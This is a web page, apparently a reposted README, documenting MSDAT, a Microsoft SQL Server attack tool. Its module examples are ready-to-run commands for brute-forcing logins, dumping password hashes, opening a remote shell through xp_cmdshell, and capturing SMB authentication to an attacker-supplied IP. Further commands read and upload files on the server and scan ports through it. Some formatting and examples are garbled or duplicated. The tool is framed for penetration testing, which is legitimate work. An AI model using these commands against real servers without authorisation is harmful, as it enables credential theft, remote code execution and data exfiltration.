MSDAT - Microsoft SQL Database Attacking Tool - Hacking Land

MSDAT (Microsoft SQL Database Attacking Tool) is an open source penetration testing tool that tests the security of Microsoft SQL Databases remotely.

Usage examples of MSDAT:

You have a Microsoft database listening remotely and you want to find valid credentials in order to connect to the database
You have a valid Microsoft SQL account on a database and you want to escalate your privileges
You have a valid Microsoft SQL account and you want to execute commands on the operating system hosting this DB (xp_cmdshell)

Tested on Microsof SQL database 2005, 2008 and 2012.

Installation
Some dependancies must be installed in order to run MSDAT.
In ubuntu:

sudo apt-get install freetds-dev

or download freetds on http://www.freetds.org/

sudo pip install cython colorlog termcolor pymssql argparse
 sudo pip install argcomplete && sudo activate-global-python-argcomplete

Add "use ntlmv2 = yes" in your freetds configuration file (ex: /etc/freetds/freetds.conf or /usr/local/etc/freetds.conf). Example:

[global]
         # TDS protocol version
         tds version = 8.0
         use ntlmv2 = yes

Examples

Modules

You can list all modules:

./msdat.py -h

When you have chosen a module (example: all), you can use it and you can list all features and options of the module:

./msdat.py all -h

You can know if a specific module can be used on a MSSQL server thanks to the --test-module option. This options is implemented in each mdat module.

all module
The all module allows you to run all modules (depends on options that you have purchased).

python msdat.py all -s $SERVER

If you want:

to use your own account file for the dictionnary attack
try multiple passwords for a user without ask you
to define your own timeout value

./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

In each module, you can define the charset to use with the --charset option.

mssqlinfo module
To get technical information about a remote MSSQL server without to be authenticated:

./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

This module uses TDS protocol and SQL browser Server to get information.

passwordguesser module
This module allows you to search valid credentials :

./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

--force-retry option allows to test multiple passwords for each user without ask you
You can specify your own account file with the --accounts-file option:

./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

passwordstealer module
To dump hashed passwords :

./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

This modules has been tested on SQL Server 2000, 2005, 2008 and 2014.

xpcmdshell module
To execute system commands thanks to xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

This previous command give you an interactive shell on the remote database server.
If xp_cmdshell is not enabled, the --enable-xpcmdshell can be used in this module to activate it:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

The --enable-xpcmdshell option enables xp_cmdshell if it is not enabled (not enabled by default).
The --disable-xpcmdshell option disables xp_cmdshell if this one is enabled.

smbauthcapture module
Thanks to this module, you can capture a SMB authentication:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

To capture the SMB authentication, the auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) module of metasploit could be used:

msf > use auxiliary/server/capture/smb
 msf auxiliary(smb) > exploit

The capture command of this module tries to capture a SMB authentication thanks to xp_dirtree, xp_fileexist or xp-getfiledetails procedure.
If you want to choose the SMB authentication procedure to capture the authentication:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
 ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
 ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

You can change the SHARE name with the --share-name option.

oleautomation module
This module can be used to read/write file in the database server.
The following command read the file temp.txt stored in the database server:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

To write a string in a file (temp.txt) remotely:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

This module can be used to download a file (C:\Users\Administrator\Desktop\temp.txt) stored on the database server:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Also, you can use this module to upload a file (temp.txt) on the target:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

bulkopen module
The module bulkopen can be used :

to read/download files stored on a database server
to scan ports through the database server
to execute SQL requests on a remote MSSQL server through the database

To read a file stored in the target, the following command can be used:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

The --method option can be used to specify the method to use:

bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) or
openrowset(https://msdn.microsoft.com/en-us/library/ms190312.aspx)):

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

To download a file (C:\Users\Administrator\Desktop\temp.txt):` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt


 This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
 ```bash
 ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

You can scan a range of ports:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

This module can be used to execute SQL requests (ex: select @@ServerName) on a remote database server (ex: $SERVER2) through the database ($SERVER):

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

xpdirectory module
The module xpdirectory can be used:

to list:
files
directories
drives
to check if a file exists
to create a directory

To list files in a specific directory:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

To list directories in a specific directory:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

To list drives:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

To check if a file exist:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

To create a directory:

./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

search module
The module search can be used to search a pattern in column names of tables and views. Usefull to search the pattern %password% in column names for example.
To get column names which contains password patterns (ex: passwd, password, motdepasse, clave):

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

If you want to see column names which doesn't contain a data, you should use the option --show-empty-columns.
To search a specific pattern in column names of views and tables:

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
